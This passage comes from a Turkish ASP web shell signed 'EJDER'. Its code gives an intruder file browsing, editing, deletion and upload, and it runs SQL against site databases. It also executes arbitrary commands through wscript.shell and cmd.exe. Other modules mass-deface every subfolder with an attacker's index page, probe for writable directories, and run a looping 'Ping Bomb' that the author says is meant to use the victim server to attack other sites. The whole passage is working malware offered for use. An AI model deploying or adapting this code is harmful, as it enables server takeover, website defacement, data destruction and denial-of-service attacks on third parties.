response.Write "<br><font color=yellow>Kaynak : </font>"&FolderPath&"<br><font color=yellow>Hedef : </font>"&FolderPath2
response.Write "<br><br>by Ejder</center>"
Call Hata
CASE 4 ' Dizin S<>lmee by EJDER
on error resume next
FSO.DeleteFolder del
if err<>0 then
Call olmadi("Dizin Silenemdi")
else
Call oldu("Dizin Silindi")
end if
CASE 5 ' Dosya silme olay<61> ger<65>ekli<6C>iypor by EJDER
on error resume next
FSO.DeleteFile del
if err<>0 then
Call olmadi("Dosya Silinemedi")
else
Call oldu("Dosya Silindi")
end if
'CASE 6 ' Dosya Dowlaod etme by EJDER
' Download hatal<61> oldu<64>u i<>in, <20>STTE ta<74><61>d<EFBFBD>mm
CASE 7 ' Dosya Kopayla Ta<54><61>ma POST k<>sm<73> by EJDER
on error resume next
response.write "<table width=""100%"">"
response.write "<tr class=""kbrtm"" valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""dosyacopypaste"" action='"&FilePath&"' type=""post"">"
response.write "<table class=""kbrtm"" cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"">"
tablo30(" <b>Dosya Kopyala / Ta<54><61> Merkezi</b>")
tablo30("&nbsp;")
response.write "<input type=""hidden"" value=""8"" name=""mode""><input type=""hidden"" value="&time&" name=""Time""><input type=""hidden"" value="&file&" name=""file""> "
tablo12("Kop. Yer : <input size=""60"" type=""text"" name=""folder"" value="&file&">")
tablo12("<input type=radio name='islem' value='kopyala' checked>Kopyala <input type=radio name='islem' value='tasi'>Tasi ")
tablo12("<br><input value="" G<>nder "" type=""Submit"">")
response.write "</form></table></td></tr></table><br>"
Call Hata
CASE 8 ' Dosya kopyala, ta<74><61>maa olay<61> by EJDER
on error resume next
if islem="kopyala" then
FSO.CopyFile file,folder&""
isl="kopyaland<6E>.."
elseif islem="tasi" then
FSO.MoveFile file,folder&""
isl="ta<74><61>nd<6E>.."
end if
if err <> 0 then
response.Write "<br><br><center>Ba<42>ar<61>s<EFBFBD>zl<7A>kla sonu<6E>land<6E> !!! <br>"
else
response.Write "<br><br><center>Klasor "&isl&" <br>"
end if
response.Write "<br><font color=yellow>Kaynak : </font>"&file&"<br><font color=yellow>Hedef : </font>"&folder&"\"
response.Write "<br><br>by Ejder</center>"
Call Hata
CASE 9 ' Dosya <20><>ini g<>r<EFBFBD>nt<6E>le by EJDER
on error resume next
Response.Write "<center><b><font color=orange>"&path&"</font></b></center><br>"
Response.Write "<table class=""kbrtm"" width=100% ><tr><td>"
set f = FSO.OpenTextFile(file,1)
Response.Write "<font size=3><pre>"&Server.HTMLEncode(f.readAll)&"</pre></font>"
Response.Write "</td></tr></table>"
nolist = True
if err<>62 then Hata
if err.number=62 then
Response.Write "<script language=javascript>alert('Bu Dosya Okunam<61>yor\nSistem dosyas<61> olabilir')</script>"
nolist = False
end if
CASE 10 ' ASP txt php .. gibi dosyalar<61> Editlemek i<>in POSt k<>sm<73> by EJDER
on error resume next
set f = FSO.OpenTextFile(file,1)
response.Write "<center><form action='"&FilePath&"?Time="&time&"&konum="&FolderPath&"' method=""post""><table class=""kbrtm""><tr><td align=""center"">"
Response.Write "<input type=hidden name=""mode"" value='11'>"
Response.Write "<input type=hidden name=file value="&file&">"
Response.Write "<br><br><input type=submit value="" .. :: Kaydet :: .. ""><br><br></td></tr><tr><td align=""center"">"
Response.Write "<textarea name=""islem"" style='width:90%;height:350;'>"
Response.Write server.HTMLEncode(f.readAll)
Response.Write "</textarea></td></tr></table></form></center>"
Call Hata
nolist = True
CASE 11 ' Editleme olay<61><79> ger<65>ekle<6C>iyorr by EJDER
on error resume next
set saveTextFile = FSO.OpenTextFile(file,2,true,false)
Call Hata
saveTextFile.Write(islem)
saveTextFile.close
if err<>0 then
olmadi("Editlenemedii")
else
oldu("Editlendi")
end if
CASE 12 ' Resim Dosyas<61>n<EFBFBD> G<>r<EFBFBD>nt<6E>lee by EJDER
on error resume next
Response.Write "<br><center><img ALT=""SaVSaK.CoM by EJDER =) "" src='"&file&"'></center><br><br>"
Call Hata
nolist = True
CASE 13 ' SQL i<>in TAblolar<61> Listeleme by EJDER
Response.Write "<center><b><font size=3>Tablolar</font></br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = file
objConn.Open
objADOX.ActiveConnection = objConn
response.write "<table class=""kbrtm"">"
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "<tr><td><font face=wingdings size=5>4</font> <a href='"&FilePath&"?mode=14&file="&file&"&table="&table.Name&"&konum="&FolderPath&"&time="&time&"'>"&table.Name&"</a></td></tr>"
End If
Next
response.write "</table>"
response.write "</center>"
Call Hata
nolist = True
CASE 14 ' TAblo i<>eri<72>i g<>r<EFBFBD>nt<6E>leme by EJDER
Call SQL_menu_by_Ejder
Call SQL_by_EJDER(file,table)
nolist = True
CASE 15 ' SQL kod yerle<6C>tirme olay<61> by EJDER
if islem = "select" then inject = inject1
if islem = "delete" then inject = inject2
if islem = "insert" then inject = inject3
if islem = "update" then inject = inject4
if islem = "diger" then inject = inject5
SQL_menu_by_Ejder
response.write "<br><center>Db Yeri : <font color=#C6FCBE>"&file&"</font></center>"
response.write "<br><center>Sql komut : <font color=#C6FCBE>"&inject&"</font></center><br>"
if islem = "select" then
if not ejdersql = "" then
Call MSSQL_by_EJDER(ejdersql,inject)
else
Call SQL_by_EJDER(file,inject)
end if
else
on error resume next
if ejdersql = "" then
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = file
objConn.Open
else
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Open ejdersql
end if
if err <> 0 then
response.write "<br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> DataBase ile Ba<42>lant<6E>n<EFBFBD>z Sa<53>lanaMAd<41><64> !!! by EJDER :( <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br>"
else
on error resume next
objRcs.Open inject,objConn, adOpenKeyset , , adCmdText
if err <> 0 then
Call olmadi("<br>SQL <20>njection Komutunuzda HATA var. Bilmiyorsan Kullanma<br><br>")
else
Call oldu("<br> SQL <20>njection Ba<42>ar<61>yla GEr<45>ekle<6C>tii.<br><br>")
end if
end if
objRcs.close
objConn.close
end if
nolist = True
CASE 16 ' Dosya ADI de<64>i<EFBFBD>tirme Formu by EJDER
on error resume next
response.write "<table width=""100%"">"
response.write "<tr valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""dosyanameedit"" action='"&FilePath&"' type=""post"">"
response.write "<table cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"" class=""kbrtm"" >"
tablo30(" <b>Dosya AD<41> de<64>i<EFBFBD>tirme MErkezi</b>")
tablo30("Ad<41> : <font color=#C6FCBE>"&islem&"</font> <br> Yeri : <font color=#C6FCBE>"&file&"</font>")
response.write "<input type=""hidden"" value=""17"" name=""mode""><input type=""hidden"" value="&file&" name=""file""><input type=""hidden"" value="&FolderPath&" name=""konum""><input type=""hidden"" value="&time&" name=""Time""> "
tablo12("<b>Dosyan<61>n Yeni Ad<41>: </b> &nbsp;<input size=""30"" type=""text"" name=""islem"" value="&islem&">")
tablo12("<br><input value="" G<>nder "" type=""Submit"">")
response.write "</form></table></td></tr></table><br>"
Call Hata
CASE 17 ' Dosya Ad<41> de<64>i<EFBFBD>tirme Olay<61> ger<65>ekle<6C>iyor by E_JDER
on error resume next
Set fileObject = fso.GetFile(file)
fileObject.Name = islem
if err <> 0 then
Call olmadi("<br>DOsya Ad<41> de<64>i<EFBFBD>eMEdii<br><br>")
else
Call oldu("<br>Dosya Ad<41> de<64>i<EFBFBD>ti<br><br>")
end if
Set fileObject = Nothing
Call Hata
CASE 18 ' MAss Defeced Merkezi by EJDER
on error resume next
response.write "<table width=""100%"" class=""kbrtm""><tr valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""massattack"" action='"&FilePath&"?mode=19' method='post'>"
response.write "<table cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"" class=""kbrtm"">"
tablo30(" <b>MASS Defaced Merkezi</b>")
tablo30("...... ::::: <20>ndex KOD unu A<>a<EFBFBD><61>ya Yaz / Yap<61><70>t<EFBFBD>r ::::: ......")
tablo30("<br><b>Konum : </b><input style=""color=#C6FCBE"" size=""60"" name=""masskonum"" value='"&konum&"' type=""text""><br><br>")
response.write "<input type=""hidden"" value=""19"" name=""massmode""><input type=""hidden"" value="&time&" name=""Time""> "
tablo12O("<textarea style=""width:500px; height:250px"" name=""massfile""></textarea>")
tablo12O(" <input type=""radio"" value=""brute"" name=""massislem"" checked> Brute - <input value=""single"" type=""radio"" name=""massislem"" > Single - <input value=""ozel"" type=""radio"" name=""massislem"" > Private <input name=""massinject1"" value=""z.html"" type=""text"" size=15> &nbsp;&nbsp; <input value=""ok"" type=checkbox name=""masshash3"" >Eklenti <input size=15 name=""masshash2"" value=""httpdocs\"" type=""text"">")
tablo12O("<input name=""masshash9"" value=""copy"" type=radio checked> Kopyalayarak - <input name=""masshash9"" value=""yarat"" type=radio> Olu<6C>turarak")
tablo12O("<input value="" Havayaa U<>urr "" type=""Submit"">")
yazsol("<font color=#C6FCBE><b>Brute : </b>Belirtilen Dizinin ALt<4C>ndaki; T<>m Dizinlere ve onlar<61>nda ALt Dizinleri <20>ndex BAsar. </font>")
yazsol("<font color=#C6FCBE><b>Single : </b>Belirtilen Dizinin ALt<4C>ndaki; Alt Dizinlere <20>ndex BAsar. </font>")
yazsol("<font color=#C6FCBE><b>Private : </b>Belirtilen Dizinin ALt<4C>ndaki; Alt Dizinlere <20>stedi<64>iniz <20>simle <20>ndex BAsar. </font> ")
yazsol("<font color=#C6FCBE><b>Eklenti : </b>BRUTE & Single ile kullan<61>l<EFBFBD>r. Permsion var ise bunu se<73>menize ayarlaman<61>za gerek yok. E<>er site isimlerini listeleytebiliyor, ve i<>ine girremiyor fakat klas<61>r atlayarak girebiliyorsan<61>z. o zaman bunu se<73>in ve bulunan klas<61>rrden sonrakine gidip oraya index leri atar. Mesela ; '..site\savsak_com', '..\site\haber_com' .. gibi siteelr listeli. bunlar<61>n i<>lerine girid<69>inizde g<>r<EFBFBD>nt<6E>lkeme yetkinzi yok . Ama e<>er '..\site\savsak_com\www\' yap<61>nca girebiliyorsna<6E>z. PERM<52>S<EFBFBD>ON a<>ma y<>ntemidir. b<>ylece Eklenti yerine 'www' yazarak ve se<73>erekden. t<>m sitelere o kla<6C>sr i<>ine girme yetkisini sa<73>lay<61>p, index b<>rakt<6B>r<EFBFBD>rr<72>z. </font> ")
yazsol("<font color=#C6FCBE><b>Kopyalayarak : </b>FSO dizinine bir TXT yazar. Sonra onu T<>m klas<61>rlere KOpyalayarak i<>lem yapar. E<>er FSO dizininde yazma yok ise, i<>lem ger<65>ekle<6C>mez. T<>M MASS lar b<>yledir. </font> ")
yazsol("<font color=#C6FCBE><b>Yaratarak : </b>Direk index kodunuzu, Klas<61>lerde OLU<4C>TURARAk MASS yapar. BU EJder & SaVSaK.CoM FARk<52> ile. 1-2 defa ba<62><61>ma geldi=) o y<>zden bu <20>zellei<65>i ekledim.</font> ")
yazsol("<font color=#FE7A84><b>NOT : </b>Brute & Single da 9 <20>e<EFBFBD>it index basar, Private da <20>stdi<64>iniz <20>simle 1 tane atar ;) </font>")
response.write "</table></td></form></tr></table><br>"
Call Hata
CASE 19 ' MAss Attack <20><>leniyor. E<>er <20>ndex yok ise, Hata ve FOrm sunuyor, aksi halde MASS yap<61>yor.
konum = request.form("masskonum")
filee = request.form("massfile")
islem = request.form("massislem")
hash9 = request.form("masshash9")
hash2 = request.form("masshash2")
hash3 = request.form("masshash3")
inject1 = request.form("massinject1")
'filee = filee&"<center><br><br><font color=green><b>HAcked by EJDER ;)</b></font><br></center>"
inject7 = filee
if hash9 = "copy" then
on error resume next
a=Left(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),InStrRev(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),"\"))
Set hackindex = FSO.CreateTextFile(a&"\ejder.txt", True)
hackindex.write filee
if err <> 0 then
response.write "<center><br><font color=#FE7A84> <font face=Wingdings size=5>N</font> Bulundu<64>un Dizinde Yazma YEtin yok. Bu y<>zden <20>ndex Sayfas<61> olu<6C>turulamad<61>. <font face=Wingdings size=5>N</font> <br><br> <font face=Wingdings size=5>N</font> E<>er ki Server i<>ine bir Tane index y<>kler ve a<>a<EFBFBD><61>daki yere tam link ini yazarsan, O zaman MASS Defaced ba<62>l<EFBFBD>yacakt<6B>r. <font face=Wingdings size=5>N</font> <br><br><br></center>"
response.write "<table width=""100%"">"
response.write "<tr class=""kbrtm"" valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""dizincopypaste"" action='"&FilePath&"' type=""post"">"
response.write "<table cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"">"
response.write "<input type=""hidden"" name='islem' value='"&islem&"'><input type=""hidden"" name='inject1' value='"&inject1&"'><input type=""hidden"" name='file' value='"&file&"'><input type=""hidden"" name='Time' value='"&time&"'><input type=""hidden"" name='mode' value='20'><input type=""hidden"" name='konum' value='"&konum&"'>"
Call tablo30("<b><3E>ndex in Server daki kendi <20>ndex inin YErini G<>ster. </b>")
Call tablo30("&nbsp;")
Call tablo12("<input size=""80"" type=""text"" name=""hacked"" style='color=#C6FCBE' value='"&FolderPath&"&/index.html'>")
Call tablo12("<br><input value="" OK tamamd<6D>r. <20>ndex imi se<73>tim. "" type=""Submit"">")
response.write "</form></table></td></tr></table><br>"
else
set hacking = nothing
hacked = a&"\ejder.txt"
hash6 = konum
Call MassAttack2(konum,filee,hash2)
Call MassAttack(hash6,filee,hash2)
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><b> ..... :::: Bitttiiii :::: ..... </b></td></tr></table> "
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><br><br><b>by EJDER ;)</b><br><br> </td></tr></table> "
Response.Write "<script language=javascript>alert('Mass Defaced Tamamaland<6E>... ')</script>"
end if
else if hash9 = "yarat" then
hash6 = konum
Call MassAttack2(konum,filee,hash2)
Call MassAttack(hash6,filee,hash2)
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><b> ..... :::: Bitttiiii :::: ..... </b></td></tr></table> "
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><br><br><b>by EJDER ;)</b><br><br> </td></tr></table> "
Response.Write "<script language=javascript>alert('Mass Defaced Tamamaland<6E>...1 ')</script>"
end if
end if
Call Hata
CASE 20 ' Hata sonucu, d<>zeltme yap<61>ld<6C> ise, burdan MAss dewaam ediyor.
on error resume next
Set cloner2 = fso.GetFile(hacked)
if err <> 0 then
response.write "<br><br><br><br><center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> <20>ndex Bulunamad<61>. KOnumunu verid<69>in <20>ndex yada Dosya BULUNAMADI. Mass Durdurudu !!! <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center><br><br><br><br>"
set cloner2 = nothing
else
set cloner2 = nothing
file="EJDER"
hash6 = konum
Call MassAttack2(konum,file,hash2)
Call MassAttack(hash6,file,hash2)
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><b> ..... :::: Bitttiiii :::: ..... </b></td></tr></table> "
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><br><br><b>by EJDER ;)</b><br><br> </td></tr></table> "
Response.Write "<script language=javascript>alert('Mass Defaced Tamamaland<6E>...2 ')</script>"
end if
Call Hata
CASE 21 ' MASS tester formu by EJDER
on error resume next
response.write "<table width=""100%"" class=""kbrtm"">"
response.write "<tr valign=""top""><td colspan=""2"" align=""center"">"
response.write "<form name=""masstester"" action='"&FilePath&"' type=""post"">"
response.write "<table cellpadding=""1"" cellspacing=""1"" bgcolor=""#5d5d5d"" width=""100%"" class=""kbrtm"">"
tablo30(" <b>MASS Permision Tester</b>")
tablo30("...... ::::: <20>zinleri Kontrol Eder ::::: ......")
tablo30("<br><b>Konum : </b><input style=""color=#C6FCBE"" size=""60"" name=""konum"" value='"&konum&"' type=""text""><br><br>")
response.write "<input type=""hidden"" value=""22"" name=""mode""><input type=""hidden"" value="&time&" name=""Time""> "
tablo12O("<br><input value="" Teste Ba<42>laaaa... =) by EJDER "" type=""Submit""><br><br>")
tablo12("&nbsp;")
response.write "<tr bgcolor=""#121212""><td class=""kbrtm"" align=""left"" width=""100%"" ><font color=#C6FCBE><b>NOT : </b>Bununla, Alt klas<61>rlerde Permision varm<72> yok mu ,Onu kontrol eder ve Listeler... </font> <font color=#C6FCBE face=Wingdings size=5>N</font></td></tr>"
response.write "</form></table></td></tr></table><br>"
Call Hata
CASE 22 ' MASS TEster i<>leme g<>r<EFBFBD>nt<6E>leme by EJDER
Call Tester(konum)
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><b> ..... :::: Bitttiiii :::: ..... </b></td></tr></table> "
response.write "<table width=""100%""><tr><td class=""kbrtm"" align=""center""><br><br><b>by EJDER ;)</b><br><br> </td></tr></table> "
Response.Write "<script language=javascript>alert('Yetki Kontrolu tamamaland<6E>... ')</script>"
Call Hata
CASE 23 ' arama bulma- en g<>zel <20>zeli<6C>i time out olmamas<61> buldu<64>unu yazmas<61>d<EFBFBD>r =) by EJDER eseridir.
response.write "<br><center>"
i=0
Call arama(konum)
response.write "</center><br>"
Response.Write "<script language=javascript>alert('"&i&" Kay<61>t Bulundu .... ')</script>"
nolist = True
Call Hata
CASE 24 ' Klas<61>r i<>lermleri i<>in Upload - Dosya ayarat - kla<6C>sr yarat FORM lar<61> by Ejder
on error resume next
response.write "<table bgcolor=#000000 width=""100%"" ><tr><td>"
response.write "<center><table width=""100%""><tr><td class=""kbrtm"" align=""center""> Upload Merkezi </td></tr><tr><td align=""center"" class=""kbrtm"">"
response.write "<form name=frmUpload method=post enctype=""multipart/form-data"" action='"&FilePath&"?mode=25&Time="&time&"&Path="&konum&"' ID=""Form1"">"
response.write "<input type=hidden name=folder value='"&konum&"' ID=""Hidden1"">"
response.write "Max: <input type=text name=max value=5 size=5 ID=""Text1""> <input type=button value=""Ayarla"" onclick=setid() ID=""Button1"" NAME=""Button1"">"
response.write "<table ID=""Table1"">"
response.write "<tr>"
response.write "<td id=upid>"
response.write "</td>"
response.write "</tr>"
response.write "</table>"
response.write "<input type=submit value="" ... :: Upload :: ... "" ID=""Submit1"" NAME=""Submit1"">"
response.write "</form>"
response.write "<script>"
response.write "setid();"
response.write "function setid() {"
response.write " str='';"
response.write " if (frmUpload.max.value<=0) frmUpload.max.value=1;"
response.write " for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input size=30 type=file name=file'+i+'><br>';"
response.write " upid.innerHTML=str+'<br>';"
response.write "}"
response.write "</script>"
response.write "</td></tr></table></center>"
response.write "<br><center><table align=""center"" width=""100%"" class=""kbrtm""><form name=""dosycrete"" action='"&FilePath&"?mode=26&konum="&konum&"&Time="&time&"' method=""post""><tr><td align=""center"">Klas<61>r Olu<6C>tur : <input name=""file"" value=""Ejder"" type=""text""> <input name=""git"" value="" Olu<6C>tur "" type=""Submit""></td></tr></table></form></center>"
response.write "<center><table align=""center"" width=""100%"" class=""kbrtm""><form name=""filemaker"" action='"&FilePath&"?mode=27&konum="&konum&"&Time="&time&"' method=""post""><tr><td align=""center"">Dosya Ad<41> : <input name=""file"" value=""ejder.asp"" type=""text""></td></tr><tr align=""center""><td><textarea style='width:100%;height:100;' name=""islem""></textarea></td></tr> <tr align=""center""><td><input name=""git"" value=""..:: Olu<6C>tur ::.."" type=""Submit""></td></tr></table></form></center>"
response.write "</td></tr></table>"
Call Hata
CASE 25 ' Upload i<>lemi by E_JDER
Upload()
CASE 26 ' Klas<61>r yarat by EJDER
response.write "<br><br><br><br><table bgcolor=#000000 width=""100%"" ><tr><td class=""kbrtm"" align=""center"">"
if FSO.FolderExists(konum&"\"&file) = True then
response.write "<center> <font color=#FE7A84> <font face=Wingdings size=5>N</font> B<>yle Bir Klas<61>r ZATEN VAr !!!! <font color=#FE7A84> <font face=Wingdings size=5>N</font> </font> </center>"
else
on error resume next
FSO.CreateFolder(konum&"\"&file)
if err <> 0 then
olmadi("Klas<61>r Olu<6C>turulamad<61>")
else
oldu("Klas<61>r Olu<6C>turuldu")
end if
end if
response.write "</td></tr></table>"
Call hata
CASE 27 ' Dosya yarat by EJDER
response.write "<br><br><br><br><table bgcolor=#000000 width=""100%"" ><tr><td class=""kbrtm"" align=""center"">"
on error resume next
Set MyFile = FSO.CreateTextFile(konum&"\"&file, True)
MyFile.write islem
if err <> 0 then
olmadi("Dosya Olu<6C>turulamad<61>")
else
oldu("Dosya Olu<6C>turuldu")
end if
response.write "</td></tr></table>"
MyFile.close()
Call hata
CASE 28 ' CMD Formu ve i<>lem yeri by EJDER
if cmdkod="" then cmdkod="ipconfig"
response.write "<center><table align=""center"" width=""100%"" class=""kbrtm""><tr><td>"
response.write "<form name=""commmanderbyejder"" method=""Post"" action='"&FilePath&"?mode=28&konum="&konum&"'> <b>CMD Komut Listele : </b><input style='color=#DAFDD0' name=""cmdkod"" size='57' value='"&cmdkod&"' type='text'><input name='"&konum&"' value='"&konum&"' type='hidden'><input name='"&mode&"' value=""28"" type='hidden'><input name='"&file&"' value=""a"" type='hidden'><input value="".:G<>r<EFBFBD>nt<6E>le:."" type='Submit'> "
response.write "</td></tr></form></table></center>"
response.write "<center><table align=""center"" width=""100%"" class=""kbrtm""><tr><td>"
response.write "<textarea style='color=#DAFDD0;width:100%;height:320;'>"
response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdkod).stdout.readall
response.write "</textarea>"
response.write "</td></tr></form><form name=""commmanderbyejder2"" method=""Post"" action='"&FilePath&"?mode=28&konum="&konum&"'><tr><td><b>CMD Komut <20>al<61><6C>t<EFBFBD>r: </b><input style='color=#DAFDD0' name=""inject4"" size='57' value='"&inject4&"' type='text'><input name='inject5' value='ejder' type='hidden'><input value="" .: <20>al<61><6C>t<EFBFBD>r :. "" type='Submit'></td></tr>"
if inject5 = "ejder" then
on error resume next
tablo12("Komut <20>al<61><6C>t<EFBFBD>r<EFBFBD>ld<6C>. ")
end if
response.write "</form></table></center>"
response.write "<br><center><table align=""center"" width=""100%"" class=""kbrtm"">"
tablo12L("<font color=#FE7A84><b>NOT : </b> CMD komutlar<61> tamamen , Server <20>zerinde <20>al<61><6C>maktad<61>r. Siz burda yazaca<63><61>n<EFBFBD>z komut orda <20>al<61><6C><EFBFBD>p, size geri d<>necektir.")
tablo12L("<font color=#FE7A84><b>NOT : </b> <b>CMD Komut Listele</b> olay<61>, >dir, >netstat, >ping gibi geri DOS da geri bilgi d<>nd<6E>ren komutlar kullan<61>l<EFBFBD>r. AMA e<>er program <20>al<61><6C><EFBFBD>tmrka, traojan yada Notepad gibi fonksiyonal ve applicaitonl<6E> programlar, komutlar<61>da <b>CMD komut <20>al<61><6C>t<EFBFBD>r</b>dan Uygulaman<61>z gerekir.Aksi halde Sistem k<>sa s<>reli kitlenme ya<79>an<61>r. CEvap al<61>namayabilinir.GEre<72>inden fazla <20>al<61><6C><EFBFBD>trm yaparsn<73>z , <20><>lemcide Sizin User<65>n<EFBFBD>z<EFBFBD>n <b>RAM + CPU </b>kulln<6C>m<EFBFBD> anormal artacakt<6B>r. </font> <font color=#FE7A84 face=Wingdings size=5>N</font>")
yazorta("<a href='"&FilePath&"?mode=29&konum="&konu&"&Time="&time&"' onclick=""cmdhelp(this.href);return false;"">-->> Kullan<61>labilir CMD komutlar<61>ndan BAz<41>lar<61> <<-- </a>")
response.write "<table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'><b>by EJDER</b></td></tr></td></tr></table></center>"
CASE 29 ' CMD a<><61>klama k<>sm<73> HELPER by EJDER
response.write "<center>"
yazsol("<b>Attrib</b>: Attrib komutu dosyalara belli <20>zellikleri verir veya kald<6C>r<EFBFBD>r. c:\>attrib +r +a +s +h yaz<61>p enter tu<74>una basarsak.(help i<>in : <b> ' attrib /? ' </b>)")
yazsol("<b>Copy - xcopy</b> : Copy ve xcopy komutu ile istenilen dosya yada dosyalar<61>n ba<62>ka yerlere kopyalanmas<61> i<>lemi ger<65>ekle<6C>tirilir. Bilgi i<>in bunu yaz<61>n :' <b>copy /? '</b>")
yazsol("<b>Net use</b> : Pc nin Payla<6C><61>m, Hesaplar<61>, ayarlar<61>, kullan<61>c<EFBFBD>lar<61>... gibi <20>zellliklere ula<6C>abilece<63>imiz ve de<64>i<EFBFBD>tirebilece<63>imiz bir komut <b>NET</b> . Yar<61>m dosyas<61> i<>in -> <b> net help </b> yazman<61>z yeterlidir.")
yazsol("<b>Netstat</b> : PC deki a<><61>k portlar<61>, ve diledi<64>iniz port u dinleyebilirsiniz. <b>Netstat -a -b -e -n -o -r -s -v</b> gibi parametreler al<61>r.")
yazsol("<b>Tracert</b> : Site, Ip, server <20>n nerde oldu<64>unu tracert yapar. <b>tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name</b> ")
yazsol("<b>IPCONFIG</b> : Server , PC nin IP bilgileirni, network bilgileirni veriyor. kuln<6C>m i<>in - > <b>ipconfig help</b> yaz<61>n yeterldir ")
yazorta("<b>by EJDER</b>")
response.write "</center>"
CASE 30 ' PiNGer BY EJDER - Server <20>zerinden s<>n<EFBFBD>rs<72>z ping sald<6C>rr<72>s<EFBFBD>. =) ehehe by EJDER
if not file = "1" then
response.write "<center><table align=""center"" width=""100%""><tr><td><form action='"&FilePath&"?mode=30&file=1&konum="&konum&"' method='post' name='pingerbye_jder'>"
yazsol(" Site Ad<41> : <input style='color=#DAFDD0' name='url' value='sitead<61>.com' type='text' size=30> (<28>rnek: google.com) ")
yazsol(" Ping Say<61>s<EFBFBD> : <input style='color=#DAFDD0' name='inject1' value='20' type='text' size=20> (<28>rnek: 20) ")
yazsol(" Ping TimeOut S<>resi : <input style='color=#DAFDD0' name='islem' value='750' type='text' size=20> milisaniye (<28>rnek:750) ")
yazsol(" Paket Boyutu : <input style='color=#DAFDD0' name='size' value='32' type='text' size=20> byte (32) ")
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align='center'> <input name='bombalaEjder' value=' .:: Bombala ::. ' type='Submit' > </td></tr></table>"
response.write "</form></td></tr></table>"
yazsoll(" <font color=#C6FCBE> Not: Bunu kullan<61>rken girece<63>iniz Paket boyutu <20>nemlidir. M<>mk<6D>nce a<><61>r<EFBFBD> b<>y<EFBFBD>k paket girmeyin, <20><>nk<6E> server yada site nereye sald<6C>rr<72>yorsan<61>z, b<>y<EFBFBD>k paketleri filtreler ve cevap vermezler. O y<>zden s<>rekli T<>meOUT yazar. o y<>zden yaa Bo<42> b<>rak<61>n yada 500 gibi normal bir seviye se<73>in. <font color=#C6FCBE> <font face=Wingdings size=5>N</font> </font> ")
yazsoll("<font color=#C6FCBE> Not: P<>NG say<61>s<EFBFBD>n<EFBFBD> 98 dediniz mesela, Sistem bunu 10 hamlede yapacakt<6B>r. 10 arl<72> g<>nderektir. vede s<>reklisayfa kendini yenileyip, 98 olana kadar 10 ar 10 ar ping ee dewam edecektir. Burda T<>MEout OLMA gibi sorunumuz yok. 100000 deseniz bile, o bitne kadar gece g<>nd<6E>ze ping <20>ekebilien sistem geli<6C>tirdim. Korkmadan, vede gece a<><61>k b<>rakarak s<>n<EFBFBD>rs<72>z pingler <20>ekebilirisniz. <font color=#C6FCBE> <font face=Wingdings size=5>N</font></font> ")
yazsoll(" <font color=#FE7A84> Not: savsak, com.tr, gov.tr uzant<6E>l<EFBFBD> sitelere kar<61><72> koruma ald<6C>m. Ping Attaker bu sitelere kar<61><72> <20>al<61><6C>t<EFBFBD>t<EFBFBD>lamaz, ve <20>al<61><6C><EFBFBD>t<EFBFBD>rlsa bile Ping atmaz, size Uyar<61> verir. T<>rk Siteleri Koruma ilk hedefimizdir. T<>rk T<>rk <20> Vurmaz. by EJDER <font color=#C6FCBE> <font face=Wingdings size=5>N</font></font> ")
yazsoll("<font color=#C6FCBE> <b>Ping Attack Ejder</b> taraf<61>ndan yaz<61>lm<6C><6D> olup, biraz hayal g<>c<EFBFBD>, biraz <20>aba azimle, <20>u an kulan<61>d<EFBFBD><64>n<EFBFBD>z FSO yuda yazan olarak, bundaki amac<61>m Server <20>n ,sitenin kaynaklar<61>n<EFBFBD> s<>m<EFBFBD>rmek vede onun <20>zerinden onun kaynaklar<61>n<EFBFBD> kullanrak ba<62>ka yerlerede zarar , sald<6C>r<EFBFBD> yapam g<>denmi<6D>tir. BUndada BUnlaa ba<62>lad<61>m. <b>T<>M haklar<61> EJDER e aittir.</b> <font color=#C6FCBE> <font color=#C6FCBE> <font face=Wingdings size=5>N</font></font> ")
else
if inject1 = "" then inject1 = 0
if count = "" then count = 0
if CInt(inject1) > CInt(count) + 10 then
Call Ping_Bomb_Ejder(url,10,islem,size)
count = count + 10
inject2 = ""&FilePath&"?file=1&mode=30&url="&url&"&size="&size&"&count="&count&"&inject1="&inject1&"&islem="&islem&""
response.write "<META http-equiv=refresh content=2;URL='"&inject2&"'>"
response.write "<br><table align=""center"" width=""100%"" class=""kbrtm""><tr><td align=""center"" > <b>"&count&"/"&inject1&"</b> tane Ping <20>ekildi. </td></tr></table>"
else if CInt(inject1) > CInt(count) then
Call Ping_Bomb_Ejder(url,CInt(inject1) mod 11,islem,size)
count = count + (CInt(inject1) mod 11)
